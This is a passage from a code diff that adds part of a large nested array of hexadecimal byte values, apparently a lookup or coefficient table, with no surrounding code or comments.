+            {0x18, 0x21, 0x6a, 0x13, 0x24, 0x1d, 0x76, 0x6f},
+            {0x58, 0x21, 0x6a, 0x13, 0x24, 0x1d, 0x56, 0x6f},
+            {0x58, 0x21, 0x6a, 0x13, 0x24, 0x1d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x13, 0x24, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x13, 0x24, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x6a, 0x13, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x56, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f}
+        },
+        {
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x1a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x1a, 0x23, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x1a, 0x23, 0x6c, 0x55, 0x46, 0x5f},
+            {0x10, 0x69, 0x1a, 0x23, 0x6c, 0x55, 0x26, 0x5f},
+            {0x10, 0x69, 0x1a, 0x23, 0x6c, 0x55, 0x26, 0x5f},
+            {0x10, 0x29, 0x1a, 0x23, 0x6c, 0x15, 0x26, 0x5f},
+            {0x10, 0x29, 0x1a, 0x23, 0x6c, 0x15, 0x26, 0x5f},
+            {0x10, 0x29, 0x3a, 0x23, 0x2c, 0x15, 0x26, 0x5f},
+            {0x10, 0x29, 0x3a, 0x23, 0x2c, 0x15, 0x26, 0x5f},
+            {0x10, 0x29, 0x3a, 0x33, 0x2c, 0x15, 0x26, 0x7f},
+            {0x10, 0x29, 0x3a, 0x33, 0x2c, 0x15, 0x26, 0x7f},
+            {0x18, 0x29, 0x3a, 0x33, 0x2c, 0x15, 0x36, 0x7f},
+            {0x18, 0x29, 0x3a, 0x33, 0x2c, 0x15, 0x36, 0x7f},
+            {0x18, 0x21, 0x3a, 0x33, 0x2c, 0x1d, 0x36, 0x7f},
+            {0x18, 0x21, 0x3a, 0x33, 0x2c, 0x1d, 0x36, 0x7f},
+            {0x18, 0x21, 0x2a, 0x33, 0x24, 0x1d, 0x36, 0x7f},
+            {0x18, 0x21, 0x2a, 0x33, 0x24, 0x1d, 0x36, 0x7f},
+            {0x18, 0x21, 0x2a, 0x13, 0x24, 0x1d, 0x36, 0x6f},
+            {0x18, 0x21, 0x2a, 0x13, 0x24, 0x1d, 0x36, 0x6f},
+            {0x58, 0x21, 0x2a, 0x13, 0x24, 0x1d, 0x16, 0x6f},
+            {0x58, 0x21, 0x2a, 0x13, 0x24, 0x1d, 0x16, 0x6f},
+            {0x58, 0x61, 0x2a, 0x13, 0x24, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x2a, 0x13, 0x24, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f}
+        },
+        {
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x43, 0x6c, 0x55, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x43, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x1a, 0x23, 0x6c, 0x55, 0x46, 0x5f},
+            {0x50, 0x69, 0x1a, 0x23, 0x6c, 0x55, 0x46, 0x5f},
+            {0x10, 0x69, 0x1a, 0x23, 0x6c, 0x55, 0x26, 0x5f},
+            {0x10, 0x69, 0x1a, 0x23, 0x6c, 0x55, 0x26, 0x5f},
+            {0x10, 0x29, 0x1a, 0x23, 0x6c, 0x15, 0x26, 0x5f},
+            {0x10, 0x29, 0x1a, 0x23, 0x6c, 0x15, 0x26, 0x5f},
+            {0x10, 0x29, 0x3a, 0x23, 0x2c, 0x15, 0x26, 0x5f},
+            {0x10, 0x29, 0x3a, 0x23, 0x2c, 0x15, 0x26, 0x5f},
+            {0x10, 0x29, 0x3a, 0x33, 0x2c, 0x15, 0x26, 0x7f},
+            {0x10, 0x29, 0x3a, 0x33, 0x2c, 0x15, 0x26, 0x7f},
+            {0x18, 0x29, 0x3a, 0x33, 0x2c, 0x15, 0x36, 0x7f},
+            {0x18, 0x29, 0x3a, 0x33, 0x2c, 0x15, 0x36, 0x7f},
+            {0x18, 0x21, 0x3a, 0x33, 0x2c, 0x1d, 0x36, 0x7f},
+            {0x18, 0x21, 0x3a, 0x33, 0x2c, 0x1d, 0x36, 0x7f},
+            {0x18, 0x21, 0x2a, 0x33, 0x24, 0x1d, 0x36, 0x7f},
+            {0x18, 0x21, 0x2a, 0x33, 0x24, 0x1d, 0x36, 0x7f},
+            {0x18, 0x21, 0x2a, 0x13, 0x24, 0x1d, 0x36, 0x6f},
+            {0x18, 0x21, 0x2a, 0x13, 0x24, 0x1d, 0x36, 0x6f},
+            {0x58, 0x21, 0x2a, 0x13, 0x24, 0x1d, 0x16, 0x6f},
+            {0x58, 0x21, 0x2a, 0x13, 0x24, 0x1d, 0x16, 0x6f},
+            {0x58, 0x61, 0x2a, 0x13, 0x24, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x2a, 0x13, 0x24, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x16, 0x6f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x16, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x5d, 0x06, 0x4f}
+        },
+        {
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x23, 0x6c, 0x75, 0x46, 0x1f},
+            {0x50, 0x69, 0x1a, 0x23, 0x6c, 0x75, 0x46, 0x1f},
+            {0x10, 0x69, 0x1a, 0x23, 0x6c, 0x75, 0x26, 0x1f},
+            {0x10, 0x69, 0x1a, 0x23, 0x6c, 0x75, 0x26, 0x1f},
+            {0x10, 0x29, 0x1a, 0x23, 0x6c, 0x35, 0x26, 0x1f},
+            {0x10, 0x29, 0x1a, 0x23, 0x6c, 0x35, 0x26, 0x1f},
+            {0x10, 0x29, 0x3a, 0x23, 0x2c, 0x35, 0x26, 0x1f},
+            {0x10, 0x29, 0x3a, 0x23, 0x2c, 0x35, 0x26, 0x1f},
+            {0x10, 0x29, 0x3a, 0x33, 0x2c, 0x35, 0x26, 0x3f},
+            {0x10, 0x29, 0x3a, 0x33, 0x2c, 0x35, 0x26, 0x3f},
+            {0x18, 0x29, 0x3a, 0x33, 0x2c, 0x35, 0x36, 0x3f},
+            {0x18, 0x29, 0x3a, 0x33, 0x2c, 0x35, 0x36, 0x3f},
+            {0x18, 0x21, 0x3a, 0x33, 0x2c, 0x3d, 0x36, 0x3f},
+            {0x18, 0x21, 0x3a, 0x33, 0x2c, 0x3d, 0x36, 0x3f},
+            {0x18, 0x21, 0x2a, 0x33, 0x24, 0x3d, 0x36, 0x3f},
+            {0x18, 0x21, 0x2a, 0x33, 0x24, 0x3d, 0x36, 0x3f},
+            {0x18, 0x21, 0x2a, 0x13, 0x24, 0x3d, 0x36, 0x2f},
+            {0x18, 0x21, 0x2a, 0x13, 0x24, 0x3d, 0x36, 0x2f},
+            {0x58, 0x21, 0x2a, 0x13, 0x24, 0x3d, 0x16, 0x2f},
+            {0x58, 0x21, 0x2a, 0x13, 0x24, 0x3d, 0x16, 0x2f},
+            {0x58, 0x61, 0x2a, 0x13, 0x24, 0x7d, 0x16, 0x2f},
+            {0x58, 0x61, 0x2a, 0x13, 0x24, 0x7d, 0x16, 0x2f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x7d, 0x16, 0x2f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x7d, 0x16, 0x2f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x16, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x16, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x06, 0x4f}
+        },
+        {
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x0a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x43, 0x6c, 0x75, 0x46, 0x0f},
+            {0x50, 0x69, 0x1a, 0x23, 0x6c, 0x75, 0x46, 0x1f},
+            {0x50, 0x69, 0x1a, 0x23, 0x6c, 0x75, 0x46, 0x1f},
+            {0x10, 0x69, 0x1a, 0x23, 0x6c, 0x75, 0x26, 0x1f},
+            {0x10, 0x69, 0x1a, 0x23, 0x6c, 0x75, 0x26, 0x1f},
+            {0x10, 0x29, 0x1a, 0x23, 0x6c, 0x35, 0x26, 0x1f},
+            {0x10, 0x29, 0x1a, 0x23, 0x6c, 0x35, 0x26, 0x1f},
+            {0x10, 0x29, 0x3a, 0x23, 0x2c, 0x35, 0x26, 0x1f},
+            {0x10, 0x29, 0x3a, 0x23, 0x2c, 0x35, 0x26, 0x1f},
+            {0x10, 0x29, 0x3a, 0x33, 0x2c, 0x35, 0x26, 0x3f},
+            {0x10, 0x29, 0x3a, 0x33, 0x2c, 0x35, 0x26, 0x3f},
+            {0x18, 0x29, 0x3a, 0x33, 0x2c, 0x35, 0x36, 0x3f},
+            {0x18, 0x29, 0x3a, 0x33, 0x2c, 0x35, 0x36, 0x3f},
+            {0x18, 0x21, 0x3a, 0x33, 0x2c, 0x3d, 0x36, 0x3f},
+            {0x18, 0x21, 0x3a, 0x33, 0x2c, 0x3d, 0x36, 0x3f},
+            {0x18, 0x21, 0x2a, 0x33, 0x24, 0x3d, 0x36, 0x3f},
+            {0x18, 0x21, 0x2a, 0x33, 0x24, 0x3d, 0x36, 0x3f},
+            {0x18, 0x21, 0x2a, 0x13, 0x24, 0x3d, 0x36, 0x2f},
+            {0x18, 0x21, 0x2a, 0x13, 0x24, 0x3d, 0x36, 0x2f},
+            {0x58, 0x21, 0x2a, 0x13, 0x24, 0x3d, 0x16, 0x2f},
+            {0x58, 0x21, 0x2a, 0x13, 0x24, 0x3d, 0x16, 0x2f},
+            {0x58, 0x61, 0x2a, 0x13, 0x24, 0x7d, 0x16, 0x2f},
+            {0x58, 0x61, 0x2a, 0x13, 0x24, 0x7d, 0x16, 0x2f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x7d, 0x16, 0x2f},
+            {0x58, 0x61, 0x4a, 0x13, 0x64, 0x7d, 0x16, 0x2f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x16, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x16, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x06, 0x4f},
+            {0x58, 0x61, 0x4a, 0x03, 0x64, 0x7d, 0x06, 0x4f}
+        },
+        {
+            {0x70, 0x69, 0x0a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x0a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x0a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x0a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x1a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x1a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x1a, 0x23, 0x7c, 0x75, 0x46, 0x1f},
+            {0x70, 0x69, 0x1a, 0x23, 0x7c, 0x75, 0x46, 0x1f},
+            {0x30, 0x69, 0x1a, 0x23, 0x7c, 0x75, 0x26, 0x1f},
+            {0x30, 0x69, 0x1a, 0x23, 0x7c, 0x75, 0x26, 0x1f},
+            {0x30, 0x29, 0x1a, 0x23, 0x7c, 0x35, 0x26, 0x1f},
+            {0x30, 0x29, 0x1a, 0x23, 0x7c, 0x35, 0x26, 0x1f},
+            {0x30, 0x29, 0x3a, 0x23, 0x3c, 0x35, 0x26, 0x1f},
+            {0x30, 0x29, 0x3a, 0x23, 0x3c, 0x35, 0x26, 0x1f},
+            {0x30, 0x29, 0x3a, 0x33, 0x3c, 0x35, 0x26, 0x3f},
+            {0x30, 0x29, 0x3a, 0x33, 0x3c, 0x35, 0x26, 0x3f},
+            {0x38, 0x29, 0x3a, 0x33, 0x3c, 0x35, 0x36, 0x3f},
+            {0x38, 0x29, 0x3a, 0x33, 0x3c, 0x35, 0x36, 0x3f},
+            {0x38, 0x21, 0x3a, 0x33, 0x3c, 0x3d, 0x36, 0x3f},
+            {0x38, 0x21, 0x3a, 0x33, 0x3c, 0x3d, 0x36, 0x3f},
+            {0x38, 0x21, 0x2a, 0x33, 0x34, 0x3d, 0x36, 0x3f},
+            {0x38, 0x21, 0x2a, 0x33, 0x34, 0x3d, 0x36, 0x3f},
+            {0x38, 0x21, 0x2a, 0x13, 0x34, 0x3d, 0x36, 0x2f},
+            {0x38, 0x21, 0x2a, 0x13, 0x34, 0x3d, 0x36, 0x2f},
+            {0x78, 0x21, 0x2a, 0x13, 0x34, 0x3d, 0x16, 0x2f},
+            {0x78, 0x21, 0x2a, 0x13, 0x34, 0x3d, 0x16, 0x2f},
+            {0x78, 0x61, 0x2a, 0x13, 0x34, 0x7d, 0x16, 0x2f},
+            {0x78, 0x61, 0x2a, 0x13, 0x34, 0x7d, 0x16, 0x2f},
+            {0x78, 0x61, 0x4a, 0x13, 0x74, 0x7d, 0x16, 0x2f},
+            {0x78, 0x61, 0x4a, 0x13, 0x74, 0x7d, 0x16, 0x2f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x16, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x16, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x06, 0x4f}
+        },
+        {
+            {0x70, 0x69, 0x0a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x0a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x0a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x0a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x1a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x1a, 0x43, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x69, 0x1a, 0x23, 0x7c, 0x75, 0x46, 0x1f},
+            {0x70, 0x69, 0x1a, 0x23, 0x7c, 0x75, 0x46, 0x1f},
+            {0x30, 0x69, 0x1a, 0x23, 0x7c, 0x75, 0x26, 0x1f},
+            {0x30, 0x69, 0x1a, 0x23, 0x7c, 0x75, 0x26, 0x1f},
+            {0x30, 0x29, 0x1a, 0x23, 0x7c, 0x35, 0x26, 0x1f},
+            {0x30, 0x29, 0x1a, 0x23, 0x7c, 0x35, 0x26, 0x1f},
+            {0x30, 0x29, 0x3a, 0x23, 0x3c, 0x35, 0x26, 0x1f},
+            {0x30, 0x29, 0x3a, 0x23, 0x3c, 0x35, 0x26, 0x1f},
+            {0x30, 0x29, 0x3a, 0x33, 0x3c, 0x35, 0x26, 0x3f},
+            {0x30, 0x29, 0x3a, 0x33, 0x3c, 0x35, 0x26, 0x3f},
+            {0x38, 0x29, 0x3a, 0x33, 0x3c, 0x35, 0x36, 0x3f},
+            {0x38, 0x29, 0x3a, 0x33, 0x3c, 0x35, 0x36, 0x3f},
+            {0x38, 0x21, 0x3a, 0x33, 0x3c, 0x3d, 0x36, 0x3f},
+            {0x38, 0x21, 0x3a, 0x33, 0x3c, 0x3d, 0x36, 0x3f},
+            {0x38, 0x21, 0x2a, 0x33, 0x34, 0x3d, 0x36, 0x3f},
+            {0x38, 0x21, 0x2a, 0x33, 0x34, 0x3d, 0x36, 0x3f},
+            {0x38, 0x21, 0x2a, 0x13, 0x34, 0x3d, 0x36, 0x2f},
+            {0x38, 0x21, 0x2a, 0x13, 0x34, 0x3d, 0x36, 0x2f},
+            {0x78, 0x21, 0x2a, 0x13, 0x34, 0x3d, 0x16, 0x2f},
+            {0x78, 0x21, 0x2a, 0x13, 0x34, 0x3d, 0x16, 0x2f},
+            {0x78, 0x61, 0x2a, 0x13, 0x34, 0x7d, 0x16, 0x2f},
+            {0x78, 0x61, 0x2a, 0x13, 0x34, 0x7d, 0x16, 0x2f},
+            {0x78, 0x61, 0x4a, 0x13, 0x74, 0x7d, 0x16, 0x2f},
+            {0x78, 0x61, 0x4a, 0x13, 0x74, 0x7d, 0x16, 0x2f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x16, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x16, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x61, 0x4a, 0x03, 0x74, 0x7d, 0x06, 0x4f}
+        },
+        {
+            {0x70, 0x79, 0x0a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x0a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x0a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x0a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x1a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x1a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x1a, 0x2b, 0x7c, 0x75, 0x46, 0x1f},
+            {0x70, 0x79, 0x1a, 0x2b, 0x7c, 0x75, 0x46, 0x1f},
+            {0x30, 0x79, 0x1a, 0x2b, 0x7c, 0x75, 0x26, 0x1f},
+            {0x30, 0x79, 0x1a, 0x2b, 0x7c, 0x75, 0x26, 0x1f},
+            {0x30, 0x39, 0x1a, 0x2b, 0x7c, 0x35, 0x26, 0x1f},
+            {0x30, 0x39, 0x1a, 0x2b, 0x7c, 0x35, 0x26, 0x1f},
+            {0x30, 0x39, 0x3a, 0x2b, 0x3c, 0x35, 0x26, 0x1f},
+            {0x30, 0x39, 0x3a, 0x2b, 0x3c, 0x35, 0x26, 0x1f},
+            {0x30, 0x39, 0x3a, 0x3b, 0x3c, 0x35, 0x26, 0x3f},
+            {0x30, 0x39, 0x3a, 0x3b, 0x3c, 0x35, 0x26, 0x3f},
+            {0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x35, 0x36, 0x3f},
+            {0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x35, 0x36, 0x3f},
+            {0x38, 0x31, 0x3a, 0x3b, 0x3c, 0x3d, 0x36, 0x3f},
+            {0x38, 0x31, 0x3a, 0x3b, 0x3c, 0x3d, 0x36, 0x3f},
+            {0x38, 0x31, 0x2a, 0x3b, 0x34, 0x3d, 0x36, 0x3f},
+            {0x38, 0x31, 0x2a, 0x3b, 0x34, 0x3d, 0x36, 0x3f},
+            {0x38, 0x31, 0x2a, 0x1b, 0x34, 0x3d, 0x36, 0x2f},
+            {0x38, 0x31, 0x2a, 0x1b, 0x34, 0x3d, 0x36, 0x2f},
+            {0x78, 0x31, 0x2a, 0x1b, 0x34, 0x3d, 0x16, 0x2f},
+            {0x78, 0x31, 0x2a, 0x1b, 0x34, 0x3d, 0x16, 0x2f},
+            {0x78, 0x71, 0x2a, 0x1b, 0x34, 0x7d, 0x16, 0x2f},
+            {0x78, 0x71, 0x2a, 0x1b, 0x34, 0x7d, 0x16, 0x2f},
+            {0x78, 0x71, 0x4a, 0x1b, 0x74, 0x7d, 0x16, 0x2f},
+            {0x78, 0x71, 0x4a, 0x1b, 0x74, 0x7d, 0x16, 0x2f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x16, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x16, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x06, 0x4f}
+        },
+        {
+            {0x70, 0x79, 0x0a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x0a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x0a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x0a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x1a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x1a, 0x4b, 0x7c, 0x75, 0x46, 0x0f},
+            {0x70, 0x79, 0x1a, 0x2b, 0x7c, 0x75, 0x46, 0x1f},
+            {0x70, 0x79, 0x1a, 0x2b, 0x7c, 0x75, 0x46, 0x1f},
+            {0x30, 0x79, 0x1a, 0x2b, 0x7c, 0x75, 0x26, 0x1f},
+            {0x30, 0x79, 0x1a, 0x2b, 0x7c, 0x75, 0x26, 0x1f},
+            {0x30, 0x39, 0x1a, 0x2b, 0x7c, 0x35, 0x26, 0x1f},
+            {0x30, 0x39, 0x1a, 0x2b, 0x7c, 0x35, 0x26, 0x1f},
+            {0x30, 0x39, 0x3a, 0x2b, 0x3c, 0x35, 0x26, 0x1f},
+            {0x30, 0x39, 0x3a, 0x2b, 0x3c, 0x35, 0x26, 0x1f},
+            {0x30, 0x39, 0x3a, 0x3b, 0x3c, 0x35, 0x26, 0x3f},
+            {0x30, 0x39, 0x3a, 0x3b, 0x3c, 0x35, 0x26, 0x3f},
+            {0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x35, 0x36, 0x3f},
+            {0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x35, 0x36, 0x3f},
+            {0x38, 0x31, 0x3a, 0x3b, 0x3c, 0x3d, 0x36, 0x3f},
+            {0x38, 0x31, 0x3a, 0x3b, 0x3c, 0x3d, 0x36, 0x3f},
+            {0x38, 0x31, 0x2a, 0x3b, 0x34, 0x3d, 0x36, 0x3f},
+            {0x38, 0x31, 0x2a, 0x3b, 0x34, 0x3d, 0x36, 0x3f},
+            {0x38, 0x31, 0x2a, 0x1b, 0x34, 0x3d, 0x36, 0x2f},
+            {0x38, 0x31, 0x2a, 0x1b, 0x34, 0x3d, 0x36, 0x2f},
+            {0x78, 0x31, 0x2a, 0x1b, 0x34, 0x3d, 0x16, 0x2f},
+            {0x78, 0x31, 0x2a, 0x1b, 0x34, 0x3d, 0x16, 0x2f},
+            {0x78, 0x71, 0x2a, 0x1b, 0x34, 0x7d, 0x16, 0x2f},
+            {0x78, 0x71, 0x2a, 0x1b, 0x34, 0x7d, 0x16, 0x2f},
+            {0x78, 0x71, 0x4a, 0x1b, 0x74, 0x7d, 0x16, 0x2f},
+            {0x78, 0x71, 0x4a, 0x1b, 0x74, 0x7d, 0x16, 0x2f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x16, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x16, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x06, 0x4f},
+            {0x78, 0x71, 0x4a, 0x0b, 0x74, 0x7d, 0x06, 0x4f}
+        },
+        {
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x02, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x12, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x12, 0x4b, 0x7c, 0x75, 0x4e, 0x0f},
+            {0x70, 0x79, 0x12, 0x2b, 0x7c, 0x75, 0x4e, 0x1f},
+            {0x70, 0x79, 0x12, 0x2b, 0x7c, 0x75, 0x4e, 0x1f},
+            {0x30, 0x79, 0x12, 0x2b, 0x7c, 0x75, 0x2e, 0x1f},
+            {0x30, 0x79, 0x12, 0x2b, 0x7c, 0x75, 0x2e, 0x1f},
+            {0x30, 0x39, 0x12, 0x2b, 0x7c, 0x35, 0x2e, 0x1f},
+            {0x30, 0x39, 0x12, 0x2b, 0x7c, 0x35, 0x2e, 0x1f},
+            {0x30, 0x39, 0x32, 0x2b, 0x3c, 0x35, 0x2e, 0x1f},
+            {0x30, 0x39, 0x32, 0x2b, 0x3c, 0x35, 0x2e, 0x1f},
+            {0x30, 0x39, 0x32, 0x3b, 0x3c, 0x35, 0x2e, 0x3f},
+            {0x30, 0x39, 0x32, 0x3b, 0x3c, 0x35, 0x2e, 0x3f},
+            {0x38, 0x39, 0x32, 0x3b, 0x3c, 0x35, 0x3e, 0x3f},
+            {0x38, 0x39, 0x32, 0x3b, 0x3c, 0x35, 0x3e, 0x3f},
+            {0x38, 0x31, 0x32, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f},
+            {0x38, 0x31, 0x32, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f},
+            {0x38, 0x31, 0x22, 0x3b, 0x34, 0x3d, 0x3e, 0x3f},
